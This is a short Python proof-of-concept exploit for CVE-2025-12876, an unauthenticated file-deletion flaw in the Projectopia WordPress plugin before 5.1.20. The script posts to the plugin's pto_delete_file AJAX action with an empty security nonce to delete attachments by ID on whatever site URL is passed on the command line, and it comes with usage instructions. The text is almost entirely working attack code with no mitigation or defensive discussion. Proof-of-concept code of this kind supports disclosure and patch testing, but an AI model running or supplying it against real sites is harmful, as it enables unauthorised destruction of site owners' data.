CVE-2025-12876

import requests import sys # CVE-2025-12876 PoC - Unauthenticated File Deletion # Target: Projectopia WordPress Plugin < 5.1.20 # Action: pto_delete_file AJAX endpoint def delete_file(target_url, file_id): """ Delete arbitrary file via unprotected AJAX action Args: target_url: WordPress site URL file_id: Attachment ID to delete """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" data = { 'action': 'pto_delete_file', 'file_id': file_id, 'security': '' # No nonce validation } try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent for file_id: {file_id}") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_id>") print(f"Example: python {sys.argv[0]} http://example.com 123") sys.exit(1) target = sys.argv[1] file_id = sys.argv[2] delete_file(target, file_id)

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